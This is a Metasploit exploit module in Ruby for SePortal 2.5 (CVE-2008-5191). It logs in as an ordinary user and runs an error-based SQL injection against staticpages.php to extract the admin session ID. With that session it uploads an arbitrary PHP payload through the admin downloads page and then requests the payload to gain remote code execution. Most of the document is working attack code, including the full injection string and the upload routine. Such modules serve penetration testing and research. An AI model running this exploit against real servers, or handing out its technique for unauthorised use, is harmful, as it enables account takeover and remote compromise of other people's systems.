1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 |
## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info={}) super(update_info(info, 'Name' => "SePortal SQLi Remote Code Execution", 'Description'=> %q{ This module exploits a vulnerability found in SePortal version 2.5. When logging in as any non-admin user, it's possible to retrieve the admin session from the database through SQL injection. The SQL injection vulnerability exists in the "staticpages.php" page. This hash can be used to take over the admin user session. After logging in, the "/admin/downloads.php" page will be used to upload arbitrary code. }, 'License'=> MSF_LICENSE, 'Author' => [ 'jsass', # Discovery 'xistence <xistence[at]0x90.nl>' # Metasploit module ], 'References' => [ ['CVE', '2008-5191'], ['OSVDB', '46567'], ['EDB', '32359'] ], 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Targets'=> [ ['SePortal', {}] ], 'Privileged' => false, 'DisclosureDate' => "Mar 20 2014", 'DefaultTarget'=> 0)) register_options( [ OptString.new('TARGETURI', [true, 'The base path to the SePortal installation', '/seportal']), OptString.new('USER', [true, 'The non-admin user', 'test']), OptString.new('PASS', [true, 'The non-admin password', 'test']) ], self.class) end def uri return target_uri.path end def check # Check version vprint_status("#{peer} - Trying to detect installed version") res = send_request_cgi({ 'method' => 'GET', 'uri'=> normalize_uri(uri, "index.php") }) if res and res.code == 200 and res.body =~ /Powered by \<b\>SePortal\<\/b\> (.*)/ version = $1 else return Exploit::CheckCode::Unknown end vprint_status("#{peer} - Version #{version} detected") if version.to_f <= 2.5 return Exploit::CheckCode::Appears else return Exploit::CheckCode::Safe end end def exploit print_status("#{peer} - Logging in as user [ #{datastore['USER']} ]") res = send_request_cgi({ 'method' => 'POST', 'uri'=> normalize_uri(uri, "login.php"), 'vars_post' => { "user_name" => datastore['USER'], "user_password" => datastore['PASS'] } }) if res && res.code == 302 and res.get_cookies =~ /sessionid=([a-zA-Z0-9]+)/ session = $1 print_status("#{peer} - Login successful") print_status("#{peer} - Session cookie is [ #{session} ]") else fail_with(Failure::Unknown, "#{peer} - Login was not succesful!") end # Generate random string and convert to hex sqlq = rand_text_alpha(8) sqls = sqlq.each_byte.map { |b| b.to_s(16) }.join # Our SQL Error-Based Injection string - The string will return the admin session between the words ABCD<hash>ABCD in the response page. sqli = "1' AND (SELECT #{sqls} FROM(SELECT COUNT(*),CONCAT(0x#{sqls},(SELECT MID((IFNULL(CAST(session_id AS CHAR),0x20)),1,50) " sqli << "FROM seportal_sessions WHERE session_user_id=1 LIMIT 1" sqli << "),0x#{sqls},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND '0x#{sqls}'='0x#{sqls}" print_status("#{peer} - Retrieving admin session through SQLi") res = send_request_cgi({ 'method' => 'POST', 'vars_get' => { "sp_id" => sqli }, 'cookie' => "sessionid=#{session}", 'uri'=> normalize_uri(uri, "staticpages.php") }) if res and res.code == 200 and res.body =~ /#{sqlq}([a-zA-Z0-9]+)#{sqlq}/ adminhash = $1 print_status("#{peer} - Admin session is [ #{adminhash} ]") else fail_with(Failure::Unknown, "#{peer} - Retrieving admin session failed!") end # Random filename payload_name = rand_text_alpha_lower(rand(10) + 5) + '.php' # Random title rand_title = rand_text_alpha_lower(rand(10) + 5) # Random category ID rand_catid = rand_text_numeric(4) post_data = Rex::MIME::Message.new post_data.add_part("savefile", nil, nil, "form-data; name=\"action\"") post_data.add_part(payload.encoded, "application/octet-stream", nil, "form-data; name=\"file\"; filename=\"#{payload_name}\"") post_data.add_part(rand_title, nil, nil, "form-data; name=\"file_title\"") post_data.add_part(rand_catid, nil, nil, "form-data; name=\"cat_id\"") file = post_data.to_s file.strip! print_status("#{peer} - Uploading payload [ #{payload_name} ]") res = send_request_cgi({ 'method' => 'POST', 'uri'=> normalize_uri(uri, "admin", "downloads.php"), 'ctype'=> "multipart/form-data; boundary=#{post_data.bound}", 'cookie' => "sessionid=#{adminhash}", 'data' => file }) # If the server returns 200 and the body contains our payload name, # we assume we uploaded the malicious file successfully if not res or res.code != 200 fail_with(Failure::Unknown, "#{peer} - File wasn't uploaded, aborting!") end register_file_for_cleanup(payload_name) print_status("#{peer} - Requesting payload [ #{uri}/data/down_media/#{payload_name} ]") res = send_request_cgi({ 'method' => 'GET', 'uri'=> normalize_uri(uri, "data", "down_media", "#{payload_name}") }) # If we don't get a 200 when we request our malicious payload, we suspect # we don't have a shell, either. if res and res.code != 200 print_error("#{peer} - Unexpected response, exploit probably failed!") end end end |